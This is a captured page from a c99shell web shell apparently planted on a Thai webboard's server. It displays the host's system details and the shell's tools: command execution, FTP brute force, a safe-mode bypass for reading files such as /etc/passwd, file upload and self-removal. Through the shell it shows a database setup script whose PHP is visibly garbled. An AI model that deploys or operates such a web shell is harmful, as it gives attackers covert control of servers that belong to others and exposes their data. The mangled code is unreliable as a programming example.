!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/webboard/   drwxr-xr-x
Free 52.37 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     setup1.php (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
    <head>
    <title>สร้างฐานข้อมูล 1</title>
    <link href="./style.css" rel="stylesheet" type="text/css">
    </head>
<?


    
include("config.inc.php");

    
mysql_connect($host,$user,$passwd) or die("Unable to Connect");

$sql1 ="CREATE TABLE webboard_data (
  No int(5) NOT NULL auto_increment,
  Category varchar(50) NOT NULL default '',
  Question varchar(100) NOT NULL default '',
  Note text NOT NULL,
  Name varchar(50) NOT NULL default '',
  Namer varchar(50) NOT NULL default '',
  Member tinyint(1) NOT NULL default '0',
  Memberr varchar(50) NOT NULL default '',
  IP varchar(15) NOT NULL default '',
  Email varchar(50) NOT NULL default '',
  Reply int(5) NOT NULL default '0',
  ReplyDate varchar(20) NOT NULL default '',
  Date datetime default NULL,
  nphoto varchar(50) default NULL,
  pageview char(3) default '0',
  PRIMARY KEY  (No)
) "
;
    
$sql2 "CREATE TABLE webboard_ans (
  No int(5) NOT NULL auto_increment,
  QuestionNo int(5) NOT NULL default '0',
  Name varchar(50) NOT NULL default '',
  Namer varchar(50) NOT NULL default '',
  Member tinyint(1) NOT NULL default '0',
  IP varchar(15) NOT NULL default '',
  Email varchar(50) NOT NULL default '',
  Msg text NOT NULL,
  Date datetime default NULL,
  nphoto text,
  PRIMARY KEY  (No)
)"
;
    
$sql3 "CREATE TABLE webboard_member (
  id int(6) NOT NULL auto_increment,
  User varchar(10) NOT NULL default '',
  Password varchar(10) NOT NULL default '',
  Email varchar(30) default NULL,
  ICQ varchar(15) default NULL,
  WebName varchar(80) default NULL,
  URL varchar(80) default NULL,
  Date datetime default NULL,
  BDdate varchar(20) NOT NULL default '',
  Profile text,
  memphoto varchar(50) default NULL,
  IP varchar(16) default NULL,
  icon varchar(8) NOT NULL default '',
  PRIMARY KEY  (id)
)"
;
    
$result1 mysql_db_query($dbname,$sql1);
    
$result2 mysql_db_query($dbname,$sql2);
    
$result3 mysql_db_query($dbname,$sql3);
    if(
$result1!=&& $result2!=&& $result3!=0) {
        echo 
"<center>";
        echo 
"<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
        echo 
"<tr><td align=center>";
        echo 
"<font size=2 face='MS Sans Serif'>";
        echo 
"<font size=3 color=red><b>ได้สร้างฐานข้อมูลแล้ว</b></font><br><br>";
        echo 
"<font color=blue>webboard_ans , webboard_data , webboard_member</font>";
        echo 
"</font></td></tr>";

        echo 
"<tr><td align=center><br>";    
        echo 
"<font size=3 color=red><b>ถ้าต้องการงสร้าง table useronline ด้วย</b></font><br>";
        echo 
"<font size=3 color=red> <a href=\"setup2.php\">กด setup2</a> </font><br><br>";
        echo 
"</font></td></tr></table>";

        echo 
"<br><hr width=500 color=blue>";
        echo 
"</center>";
        
        exit();
    }
    else {
        echo 
"<center>";
        echo 
"<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
        echo 
"<tr><td align=center>";
        echo 
"<font size=2 face='MS Sans Serif'>";
        echo 
"<font size=3 color=red><b>ได้สร้างฐานข้อมูล webboard_ans , webboard_data , webboard_member ไปแล้ว</b></font><br><br>";
        echo 
"หรือมีข้อผิดพลาดที่ระบบ<br><br>";
        
//echo "กรุณาแจ้ง <font color=blue>admin</font> ให้ตรวจสอบด้วยครับ";
        
echo "</font></td></tr>";
        
    echo 
"<tr><td align=center><br>";    
        echo 
"<font size=3 color=red><b>ถ้าต้องการงสร้าง table useronline ด้วย</b></font><br>";
        echo 
"<font size=3 color=red> <a href=\"setup2.php\">กด setup2</a> </font><br><br>";
        echo 
"</font></td></tr></table>";


        
        echo 
"<br><hr width=500 color=blue>";
        echo 
"</center>";
        exit();
    }
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--